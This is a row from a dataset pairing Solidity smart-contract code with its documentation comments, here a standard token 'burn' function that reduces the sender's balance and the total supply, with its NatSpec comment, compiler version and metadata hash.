//***************************************************************// | LineComment | burn | function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); ... | /**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
5460,
5943
]
} | 11,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.